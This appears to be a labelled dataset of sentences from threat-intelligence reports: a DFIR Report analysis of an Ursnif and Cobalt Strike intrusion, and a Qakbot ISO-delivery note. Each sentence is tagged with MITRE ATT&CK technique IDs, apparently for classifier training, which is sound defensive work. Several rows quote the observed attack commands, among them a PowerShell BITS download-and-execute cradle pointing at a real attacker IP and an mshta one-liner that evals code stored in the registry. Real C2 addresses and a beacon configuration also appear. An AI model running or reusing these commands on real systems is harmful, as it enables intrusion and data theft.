{"sentence": "The malware displayed an interesting execution flow, which included using a renamed copy of rundll32.", "labels": ["T1218.011"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Once executed, the malware conducted automatic discovery on the beachhead host, as we have observed with other loaders such as IcedID.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The malware also established persistence on the host with the creation of a registry run key.", "labels": ["T1547.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The threat actor used a Background Intelligent Transfer Service (BITS) job to download a Cobalt Strike beacon, and then used the beacon for subsequent actions.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Using the credentials extracted from memory, the threat actors began to move laterally.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "They targeted a domain controller and used Impacket’s wmiexec.py to execute code on the remote host.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This included executing both a msi installer for the RMM tools Atera and Splashtop, as well as a Cobalt Strike executable beacon.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The following day, there was a short check-in on the beachhead host from a Cobalt Strike beacon, no other activity occurred until near the end of the day.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "At that time, the threat actor became active by initiating a proxied RDP connection via the Cobalt Strike beacon to the domain controller.", "labels": ["T1021.001", "T1090"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "From there, the threat actor began connecting to various hosts across the network.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The threat actor was later evicted from the network.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, and event logs including Sysmon under our Security Researcher and Organization services.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Timeline Analysis and reporting completed by @_pete_0, @svch0st and UC1.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Initial Access In this case, the Ursnif malware was delivered using a very familiar technique of being contained within an ISO file.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "In this case, the user had saved the file 3488164.iso to the their downloads folder and mounted it.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "If we parse this LNK file with LECmd (by Eric Zimmerman), it highlights the execution path and the icon it appears as: The contents of hidden folder “me”, included several files and folders that were used for the execution of Ursnif.", "labels": ["T1564.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Of interest, the folder included a legitimate copy of rundll32.exe (renamed to 123.com).", "labels": ["T1218.011"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Ursnif Malware Highlighted in Initial Access, the LNK file would execute a batch script alsoOne.bat .", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Shell\"); sh[reverseString(ar(1))](\"me\\\\123.com me/itsIt.db,\"+reverseString(a The JS file was then executed with wscript.exe and used the provided command line arguments, which created and executed the following command using WScript.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Shell.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Exec(): me/123.com me/itsIt.db,DllRegisterServer Using the SRUM database, we were able to determine that the custom rundll32.exe binary downloaded approximately 0.4 MB of data.", "labels": ["T1218.011"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Once the malware was executed, the parent instance of explorer launched MSHTA with the following command: \"C:\\Windows\\System32\\mshta.exe\" \"about:<hta:application><script>Cxak='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cxak).regread('HKCU\\\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\472A62F9-FA62-1196-3C6B-CED530CFE2D9\\\\\\ActiveDevice'));if(!window.flag)close()</script>\" This oneliner created a new ActiveX object to eval() the content stored in the registry key in the users registry hive.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "These two new aliases were used to get and execute the content in another registry value “MemoryJunk”: Ahgvof=new ActiveXObject('WScript.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Run('powershell new-alias -name qirlbtfhgo -value gp; new-alias -name kvikpt -value iex; kvikpt ([System.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Encoding]::ASCII.GetString((qirlbtfhgo \"HKCU:\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\472A62F9-FA62-1196-3C6B-CED530CFE2D9\").MemoryJunk))',0,0)", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "; Analyst Note: The names of the registry values changed when we ran the payload in a sandbox during analysis, and hence suspected to be generated at random at execution.", "labels": ["T1112"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The last registry key was used to store additional PowerShell code.", "labels": ["T1112"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "When Add-Type cmdlet is executed, the C# compiler csc.exe is invoked by PowerShell to compile this class definition, which results in the creation of temporary files in %APPDATA%\\Local\\Temp.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "/noconfig /fullpaths", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"C:\\Windows\\syswow64\\cmd.exe\" /C pause dll mail, , A sigma rule for this cmdline can be found in the Detections section of this report.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "At this point in time, less than a minute of time has elapsed since the user first opened the malware.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Once the malware was established on the host, there was limited malicious activity, until around 3 days later.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "That is when we began to observe evidence indicative of “hands-on-keyboard” activity.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Cobalt Strike An instance of cmd.exe was launched through explorer.exe which ran the following command: powershell.exe -nop -c \"start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\\'", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'hxxp://193.201.9.199:80/a’ -Destination $d; $t =", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "[IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "| wait-job | Receive-Job\" Analyst Note: Ursnif has been known to have VNC-like capabilities.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "It is possible this explorer.exe ➝ cmd.exe session was through a VNC session.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This PowerShell command started a BITS job to download a Cobalt Strike beacon from 193.201.9[.]199 and saved it with a random name to %TEMP%.", "labels": ["T1105"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "It then read the file into a variable, and deleted it before executing content with IEX.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Credential Access We observed a process created by Cobalt Strike accessing lsass.exe.", "labels": ["T1003.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This was observed on both the beachhead host and a domain controller.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "LogName=Microsoft-Windows-Sysmon/Operational EventCode=10 EventType=4 ComputerName=<REDACTED> User=SYSTEM Sid=S-1-5-18 SidType=1 SourceName=Microsoft-Windows-Sysmon Type=Information RecordNumber=765707 Keywords=None TaskCategory=Process accessed (rule: ProcessAccess) OpCode=Info Message=Process accessed: RuleName: technique_id=T1003,technique_name=Credential Dumping UtcTime: <REDACTED> SourceProcessGUID: {aaadb608-97b2-630c-6750-000000000400} SourceProcessId: 4768 SourceThreadId: 4248 SourceImage: C:\\Windows\\system32\\rundll32.exe TargetProcessGUID: {aaadb608-45a2-62fc-0c00-000000000400} TargetProcessId: 672 TargetImage: C:\\Windows\\system32\\lsass.exe", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The following commands were executed and their standard output was redirected to append to a file in the user’s %APPDATA%\\Local\\Temp\\ cmd /C", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"systeminfo.exe >", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"nslookup 127.0.0.1 >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"driverquery.exe >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >>", "labels": ["T1012"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"net view /all /domain", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"net view /all >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "C:\\Users\\<REDACTED>\\AppData\\Local\\Temp\\BD2C.bin1\" Manual discovery Once the threat actor had Cobalt Strike running on the beachhead host, they ran the following commands: whoami whoami /groups time ipconfig /all systeminfo The threat actor quickly took interest in a support account.", "labels": ["T1016", "T1082"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "C:\\Windows\\system32\\taskmgr.exe /4 Lateral Movement WMI was used to pivot to a domain controller on the network.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The commands executed included directory traversal, host discovery, and execution of tools on the DC.", "labels": ["T1083"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "A breakdown of the parent and child processes invoked: The command can be broken down as follows: ‘Q’ indicates turn off echo – no response.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "‘C’ indicates to stop after command execution.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The 127.0.01 and ADMIN$ indicates C:\\Windows.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Output is achieved via the parameter ‘2>&1’, to redirect errors and output to one file: This command line closely resembles the code within the wmiexec.py as part of the Impacket tool maintained by Fortra.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "As Impacket interacts with remote endpoints via WMI over TCP via DCERPC, its possible to inspect network level packets: The use of Impacket by threat actors has been recently detailed by the US CERT in alert AA22-277A – Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization.", "labels": ["T1005", "T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "We can observe a number of WMI requests via DCERPC from one endpoint to a target endpoint based on the ports.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Correlating the network activity to the host activity confirms that the ‘Powershell.exe’ process initiated the WMI requests.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The destination port is within the ephemeral port range 49152–65535, which is for short-lived, time based, communications RFC 6335.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This was dropped on the DC and spawned a number of processes and invoked a number of hands-on commands.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "RDP was also used by the threat actor on the final two days of the intrusion to connect to various hosts from a domain controller proxying the traffic via the firefox.exe Cobalt Strike beacon. Command and Control Ursnif Ursnif was seen using the following domains and IPs: 5.42.199.83superliner.top 62.173.149.7 internetlines.in 31.41.44.97 superstarts.top 31.41.44.27 superlinez.top 31.41.44.27 internetlined.com 208.91.197.91 denterdrigx.com: 187.190.48.135 210.92.250.133 189.143.170.233 201.103.222.246 151.251.24.5 190.147.189.122 115.88.24.202 211.40.39.251 187.195.146.2 186.182.55.44 222.232.238.243 211.119.84.111 51.211.212.188 203.91.116.53 115.88.24.203 190.117.75.91 181.197.121.228 190.167.61.79 109.102.255.230 211.119.84.112 190.107.133.19 185.95.186.58 175.120.254.9 46.194.108.30 190.225.159.63 190.140.74.43 187.156.56.52 195.158.3.162 138.36.3.134 109.98.58.98 24.232.210.245 222.236.49.123 175.126.109.15 124.109.61.160 95.107.163.44 93.152.141.65 5.204.145.65 116.121.62.237 31.166.129.162 222.236.49.124 211.171.233.129 211.171.233.126 211.53.230.67 196.200.111.5 190.219.54.242 190.167.100.154 110.14.121.125 58.235.189.192 37.34.248.24 110.14.121.123 179.53.93.16 175.119.10.231 211.59.14.90 188.48.64.249 187.232.150.225 186.7.85.71 148.255.20.4 91.139.196.113 41.41.255.235 31.167.236.174 189.165.2.131 1.248.122.240 We also observed several modules for Ursnif downloaded from the following IP:", "labels": ["T1021.001", "T1090"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "193.106.191.186 3db94cf953886aeb630f1ae616a2ec25 cook32.rar d99cc31f3415a1337e57b8289ac5011e cook64.rar a1f634f177f73f112b5356b8ee04ad19 stilak32.rar 8ea6ad3b1acb9e7b2e64d08411af3c9a stilak64.rar 0c5862717f00f28473c39b9cba2953f4 vnc32.rar ce77f575cc4406b76c68475cb3693e14 vnc64.rar JoeSandbox reported this sample having the following configuration: { \"RSA Public Key\": \"WzgHg0uTPZvhLtnG19qpIk+GmHzcoxkfTefSu6gst5n3mxnOBivzR4MH4a6Ax7hZ5fgcuPGt3NKKPbYTwmknjD2zYXaAp3+wR0kAZI+LVG1CUiDgK2lhHKV91eobjLR/Z/RtHa+MZM10+zZoBGCk+VjMy7gWkzoCrrhs6/Bft/lYT9NzAGBQ4ZZgJTkXW4tVgEQiGmoc7Ta1/NqrbaQBEciYTW7E4egMKHQeGNrjd94u5PZha7GgX7aseTe7/68QIz2hc7Xl2gtUGQYYVqKgGpKjKrQT5jpYbcjLE+VoRjcWucFAPAfIryWH1A4T+PbO5+eHGGCIM/fAuYU/58JZn0HUmtKm9wHYCUJ/uGotKAI=\", \"c2_domain\": [ \"superliner.top\", \"superlinez.top\", \"internetlined.com\", \"internetlines.in\", \"medialists.su\", \"medialists.ru\", \"mediawagi.info\", \"mediawagi.ru\", \"5.42.199.83\", \"denterdrigx.com\", \"и\", \"digserchx.at\" ], \"ip_check_url\": [ \"http://ipinfo.io/ip\", \"http://curlmyip.net\" ], \"serpent_key\": \"Jv1GYc8A8hCBIeVD\", \"tor32_dll\": \"file://c:\\\\test\\\\test32.dll\", \"tor64_dll\": \"file://c:\\\\test\\\\tor64.dll\", \"server\": \"50\", \"sleep_time\": \"1\", \"SetWaitableTimer_value(CRC_CONFIGTIMEOUT)\": \"60\", \"time_value\": \"60\", \"SetWaitableTimer_value(CRC_TASKTIMEOUT)\": \"60\", \"SetWaitableTimer_value(CRC_SENDTIMEOUT)\": \"300\", \"SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)\": \"60\", \"not_use(CRC_BCTIMEOUT)\": \"10\", \"botnet\": \"3000\", \"SetWaitableTimer_value\": \"1\" } Pivoting on domains registered in WHOIS with the email [email protected] or organization Rus Lak, reveals many similar domains as seen in this intrusion.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "72a589da586844d7f0818ce684948eea JA3s: f176ba63b4d68e576b5ba345bec2c7b7 Certificate: [6e:ce:5e:ce:41:92:68:3d:2d:84:e2:5b:0b:a7:e0:4f:9c:b7:eb:7c] Not Before: 2015/05/20 18:26:24 UTC Not After: 2025/05/17 18:26:24 UTC Issuer Org: Subject Common: Subject Org:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Public Algorithm: rsaEncryption The following Cobalt Strike configuration was observed: { \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"pipename\": null, \"dns_beacon\": { \"put_metadata\": null, \"get_TXT\": null, \"get_AAAA\": null, \"get_A\": null, \"beacon\": null, \"maxdns\": null, \"dns_sleep\": null, \"put_output\": null, \"dns_idle\": null }, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"post_ex\": { \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\", \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\" }, \"stage\": { \"cleanup\": \"false\" }, \"process_inject\": { \"stub\": \"IiuPJ9vfuo3dVZ7son6mSA==\", \"transform_x64\": [], \"transform_x86\": [], \"startrwx\": \"true\", \"min_alloc\": \"0\", \"userwx\": \"true\", \"execute\": [ \"CreateThread\", \"SetThreadContext\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"allocator\": \"VirtualAllocEx\" }, \"uses_cookies\": \"true\", \"http_post_chunk\": \"0\", \"ssh\": { \"privatekey\": null, \"username\": null, \"password\": null, \"port\": null, \"hostname\": null }, \"useragent_header\": null, \"maxgetsize\": \"1048576\", \"proxy\": { \"behavior\": \"Use IE settings\", \"password\": null, \"username\": null, \"type\": null }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"server\": { \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnCZHWnYFqYB/6gJdkc4MPDTtBJ20nkEAd3tsY4tPKs8MV4yIjJb5CtlrbKHjzP1oD/1AQsj6EKlEMFIKtakLx5+VybrMYE+dDdkDteHmVX0AeFyw001FyQVlt1B+OSNPRscKI5sh1L/ZdwnrMy6S6nNbQ5N5hls6k2kgNO5nQ7QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\", \"port\": \"443\", \"hostname\": \"193.201.9.199\" }, \"beacontype\": [ \"HTTPS\" ], \"kill_date\": null, \"license_id\": \"1580103824\", \"jitter\": \"0\", \"sleeptime\": \"60000\", \"http_get\": { \"server\": { \"output\": [ \"print\" ] }, \"client\": { \"metadata\": [], \"headers\": [] }, \"verb\": \"GET\", \"uri\": \"/__utm.gif\" }, \"cfg_caution\": \"false\", \"host_header\": \"\", \"crypto_scheme\": \"0\", \"http_post\": { \"client\": { \"output\": [], \"id\": [], \"headers\": [] }, \"verb\": \"POST\", \"uri\": \"/submit.php\" } } Checking the certificate used, reveals that it is a default SSL certificate for Cobalt Strike, 83cd09b0f73c909bfc14883163a649e1d207df22. Atera & SplashTop Even though the threat actor installed these agents, we did not observe any activity with these tools.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Exfiltration Several HTTP Post events were observed to the identified domains denterdrigx[.]com, superliner[.]top and 5.42.199[.]83, masquerading as image uploads.", "labels": ["T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The POST event included a MIME part indicating file upload activity", "labels": ["T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The exfiltration activity along with the beacon activity can be detected using the following network signatures: ET MALWARE Ursnif Variant CnC Data Exfil and ET MALWARE Ursnif Variant CnC Beacon.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "In this example, the mix of activity can be observed as: Impact The threat actor was able to RDP to a backup server using the admin credentials they acquired.", "labels": ["T1021.001", "T1078"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Using the logs in Microsoft-Windows-TerminalServices-LocalSessionManager/Operational we were able to determine the threat actor spent approximately 10 minutes on the backup server before disconnecting their RDP session.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "By doing this, they revealed the workstation name of the client: WIN-RRRU9REOK18.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "LogName=Security EventCode=4624 EventType=0 ComputerName=<REDACTED> SourceName=Microsoft Windows security auditing.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Type=Information RecordNumber=300297 Keywords=Audit Success TaskCategory=Logon OpCode=Info Message=An account was successfully logged on.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Logon Information: Logon Type: 3 Restricted Admin Mode: - Virtual Account: No Elevated Token:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Yes Network Information: Workstation Name: WIN-RRRU9REOK18 Source Network Address: <REDACTED> Source Port: 0 Detailed Authentication Information:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Process execution: C:\\Program Files\\[redacted]\\Console\\[redacted].exe \"C:\\Windows\\system32\\taskmgr.exe\" /4 \"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\USER\\Desktop\\New", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "51.211.212.188 203.91.116.53 115.88.24.203 190.117.75.91 181.197.121.228 190.167.61.79 109.102.255.230 211.119.84.112 190.107.133.19 185.95.186.58 175.120.254.9 46.194.108.30 190.225.159.63 190.140.74.43 187.156.56.52 195.158.3.162 138.36.3.134 109.98.58.98 24.232.210.245 222.236.49.123 175.126.109.15 124.109.61.160 95.107.163.44 93.152.141.65 5.204.145.65 116.121.62.237 31.166.129.162 222.236.49.124 211.171.233.129 211.171.233.126 211.53.230.67 196.200.111.5 190.219.54.242 190.167.100.154 110.14.121.125 58.235.189.192 37.34.248.24 110.14.121.123 179.53.93.16 175.119.10.231 211.59.14.90 188.48.64.249 187.232.150.225 186.7.85.71 148.255.20.4 91.139.196.113 41.41.255.235 31.167.236.174 189.165.2.131 1.248.122.240 193.106.191.186 Cobalt Strike: 193.201.9.1 Computed 123.com d0432468fa4b7f66166c430e1334dbda f72d978f4d1ca1c435b1164e7617464cc06a9381 7d99c80a1249a1ec9af0f3047c855778b06ea57e11943a271071985afe09e6c2 3488164.iso f7d85c971e9604cc6d2a2ffcac1ee4a3 67175143196c17f10776bdf5fbf832e50a646824 e999890ce5eb5b456563650145308ae837d940e38aec50d2f02670671d472b99 6570872.lnk c6b605a120e0d3f3cbd146bdbc358834 328afa8338d60202d55191912eea6151f80956d3 16323b3e56a0cbbba742b8d0af8519f53a78c13f9b3473352fcce2d28660cb37 adcomp.bat eb2335e887875619b24b9c48396d4d48 b658ab9ac2453cde5ca82be667040ac94bfcbe2e 4aa4ee8efcf68441808d0055c26a24e5b8f32de89c6a7a0d9b742cce588213ed alsoOne.bat c03f5e2bc4f2307f6ee68675d2026c82 4ce65da98f0fd0fc4372b97b3e6f8fbeec32deb3 6a9b7c289d7338760dd38d42a9e61d155ae906c14e80a1fed2ec62a4327a4f71 canWell.js 6bb867e53c46aa55a3ae92e425c6df91 6d4f1a9658baccd2e406454b2ad40ca2353916ab 5b51bd2518ad4b9353898ed329f1b2b60f72142f90cd7e37ee42579ee1b645be firefox.exe 6a4356bd2b70f7bd4a3a1f0e0bfec9a4 485a179756ff9586587f8728e173e7df83b1ffc3 6c5338d84c208b37a4ec5e13baf6e1906bd9669e18006530bf541e1d466ba819 itsIt.db 60375d64a9a496e220b6eb1b63e899b3 d1b2dd93026b83672118940df78a41e2ee02be80 8e570e32acb99abfd0daf62cff13a09eb694ebfa633a365d224aefc6449f97de or.jpg 60ca7723edd4f3a0561ea9d3a42f82b4 87b699122dacf3235303a48c74fa2b7a75397c6b bbcceb987c01024d596c28712e429571f5758f67ba12ccfcae197aadb8ab8051 cook32.rar 3db94cf953886aeb630f1ae616a2ec25 743128253f1df9e0b8ee296cfec17e5fc614f98d 1cdbf7c8a45b753bb5c2ea1c9fb2e53377d07a3c84eb29a1b15cdc140837f654 cook64.rar d99cc31f3415a1337e57b8289ac5011e f67ce90f66f6721c3eea30581334457d6da23aac b94810947c33a0a0dcd79743a8db049b8e45e73ca25c9bfbf4bfed364715791b stilak32.rar a1f634f177f73f112b5356b8ee04ad19 7c82b558a691834caf978621f288af0449400e03 c77ea4ad228ecad750fb7d4404adc06d7a28dbb6a5e0cf1448c694d692598f4f stilak64.rar 8ea6ad3b1acb9e7b2e64d08411af3c9a 7c04c4567b77981d0d97d8c2eb4ebd1a24053f48 dfdfd0a339fe03549b2475811b106866d035954e9bc002f20b0f69e0f986838f vnc32.rar 0c5862717f00f28473c39b9cba2953f4 25832c23319fcfe92cde3d443cc731ac056a964a 7ebd70819a79be55d4c92c66e74e90e3309ec977934920aee22cd8d922808c9d vnc64.rar ce77f575cc4406b76c68475cb3693e14 80fdc4712ae450cfa41a37a24ce0129eff469fb7 f02dc60872f5a9c2fcc9beb05294b57ad8a4a9cef0161ebe008 Detections Network Potential Impacket wmiexec.py activity ET MALWARE Ursnif Variant CnC Beacon ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F) ET INFO HTTP Request to a *.top domain ET DNS Query to a *.top domain - Likely Hostile ET MALWARE Ursnif Variant CnC Data Exfil ET INFO Dotted Quad Host RAR Request ET MALWARE Meterpreter or Other Reverse Shell SSL Cert ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike ET POLICY RDP connection confirm ET POLICY MS Remote Desktop Administrator Login Request ET MALWARE Ursnif Variant CnC Beacon 3 ET MALWARE Ursnif Payload Request (cook32.rar) ET MALWARE Ursnif Payload Request (cook64.rar) ET INFO Splashtop Domain (splashtop .com)", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "in TLS SNI ET INFO Splashtop Domain in DNS Lookup (splashtop .com)", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Sigma Yara MITRE Mshta - T1218.005 Visual Basic - T1059.005 Compile After Delivery - T1027.004 BITS Jobs - T1197 Credentials from Password Stores - T1555 LSASS Memory - T1003.001 System Information Discovery - T1082 Process Discovery - T1057 Domain Trust Discovery - T1482 Mark-of-the-Web Bypass - T1553.005 Malicious File - T1204.002 System Time Discovery - T1124 System Owner/User Discovery - T1033 Remote System Discovery - T1018", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Here’s the latest from our TRU Team… What did we find?", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "In early February 2023, we reported that multiple threat groups were leveraging OneNote files for malware delivery.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Since mid-February, observations of Qakbot delivery via OneNote has faded in our telemetry while use of ISO image files has returned.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The absence of OneNote malware in our telemetry suggests the technique is finding less success in circumventing perimeter gateways and content filters.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The diminished use of OneNote by Qakbot during the week of February 20th is corroborated by public mentions (1, 2, 3) of ISO images in lieu of the aforementioned file type.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Qakbot’s infection scheme, as observed on February 22, 2023, is summarized below and in Figure 1.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "A victim is sent an email linking to an externally hosted Zip file.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The victim double clicks the ISO to mount it (1).", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The mounted file contains a hidden folder (4), a 200+MB padded file and a visible shortcut file disguised as a zip.", "labels": ["T1027", "T1564.001"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The shortcut file (2) executes a CMD file (3) when clicked.", "labels": ["T1059.003"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "This file is base64 twice, thus requires two rounds of decoding using certutil.", "labels": ["T1027", "T1140"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
